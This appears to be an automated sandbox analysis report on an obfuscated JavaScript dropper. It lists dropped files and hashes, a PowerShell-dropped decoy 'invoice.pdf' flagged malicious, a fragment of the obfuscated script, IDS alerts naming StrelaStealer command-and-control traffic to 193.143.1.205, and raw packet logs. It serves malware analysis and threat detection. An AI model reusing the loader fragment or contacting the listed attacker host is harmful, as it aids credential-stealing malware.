Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\c993f990-5092-448a-99f0-554b38971653.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18518), with CRLF line terminators
Entropy (8bit):	4.882142317449936
TrID:
File name:	696568221068916474.js
File size:	21'922 bytes
MD5:	cfa2fc262b98946eb14d417001e7a15d
SHA1:	5904226b6524edeae992fe0c63d7aa73164a6eda
SHA256:	aa46f581c4f0cc7883f35e17d722bf57ee95919c29d33fb4fefefc47ecb678ff
SHA512:	c3b37e45dac51018eb27d03d430c74b65ce86ef3f7197f009eb57d77889275910989fc50d7dccc49f8c060d59d8526755d76c5597586603a793669c7d7c2c165
SSDEEP:	384:tkOOKwmzlxevLlzmF3qlY7sKetJsETVufgZA57Njpqqn1pfMAQVUGxRsq/KCIRxO:QLLC5RdWGOcqQr7SBoo6G
TLSH:	7DA273C9DE90AF6FD9DC2AF4F0478490AA8D12C84D5C80FBDA02B5584FAABD7D2C5075
File Content Preview:	function gxmsipzbe(){weilk=[1031,3079,5127,4103,2055,3072];var xhryvwj=this[wqhtf+raybdq+vsccgsu+acbmvaag+ewaftwrp+fjuyn+mjdtcfjw+hpwzcpt](this[nnytr+uhuwne+ueohc+vsccgsu+hpempit+wqhtf+hpwzcpt][gyjclq+vsccgsu+ewaftwrp+raybdq+hpwzcpt+ewaftwrp+xkjbpke+ujpgo

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T04:12:16.786089+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T04:12:16.786089+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T04:12:19.337796+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 04:12:15.995999098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:16.001060963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.001162052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:16.003730059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:16.008863926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.785985947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.786005020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.786017895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.786067963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.786082029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.786088943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:16.786098003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.786109924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.786128998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.786140919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.786150932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.786165953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:16.786165953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:16.786197901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:16.786223888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:16.791058064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.791093111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.791126966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.791155100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:16.828805923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.828845978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.828883886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:16.868976116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:16.907084942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.907105923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.907120943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.907152891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:16.907217026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.907258034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:16.911885977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.911904097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.911952019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:16.912031889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.912045002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.912055016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.912097931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:16.916625977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.916641951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.916697025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:16.916728973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.916743040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.916768074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:16.921323061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.921336889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.921370983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:16.921467066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.921479940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.921492100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.921504974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:16.921528101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:16.926088095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.926101923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.926139116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:16.926208019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.959877014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.959906101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.960079908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:16.996474028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.996493101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.996583939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:16.996681929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.996741056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:16.996777058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.028299093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.028337955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.028350115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.028389931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.028485060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.028515100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.028521061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.028521061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.028563976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.028604984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.028951883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.028965950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.028978109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.028995037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.029017925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.029052019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.029063940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.029122114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.029673100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.029685020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.029746056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.029882908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.029895067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.029906988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.029932022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.029962063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.029975891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.030010939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.030694962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.030739069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.030740023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.030752897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.030795097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.030886889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.030900955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.030946970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.031641960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.031653881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.031666040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.031692028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.031778097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.031790972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.031832933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.032505035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.032517910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.032529116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.032547951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.032576084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.032629013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.032641888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.032696009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.033308983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.033329964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.033341885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.033370018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.033469915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.033482075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.033513069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.039702892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.039750099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.039768934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.039774895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.039807081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.049535990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.049587011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.049623966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.049649954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.049659014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.049704075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.086441994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.117645979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.117677927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.117746115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.117758036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.117779016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.117810965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.117811918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.117877960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.118036032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.118084908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.118144989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.149365902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.149396896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.149410963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.149456978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.149475098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.149480104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.149513006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.149609089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.149656057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.149713993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.149772882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.149789095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.149816990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.149880886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.149898052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.149929047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.150157928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.150213003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.150218964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.150233984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.150274992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.150343895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.150358915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.150374889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.150439978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.150782108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.150795937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.150816917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.150840044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.150880098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.150893927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.150909901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.150943041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.151093006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.151115894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.151132107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.151146889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.151151896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.151186943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.151242971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.151268959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.151284933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.151308060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.151752949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.151796103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.151814938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.151830912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.151869059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.152007103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.152023077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.152038097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.152055979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.152061939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.152098894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.152224064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.152240038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.152255058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.152277946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.152693987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.152734041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.152760983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.152776957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.152820110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.152956963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.152972937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.152987957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.153004885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.153011084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.153058052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.153095007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.153156042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.153172970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.153194904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.153650045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.153697014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.153697968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.153713942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.153754950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.153893948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.153908968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.153932095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.153954983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.154047012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.154062986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.154079914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.154087067 CET	49704	80	192.168.2.5	193.143.1.205
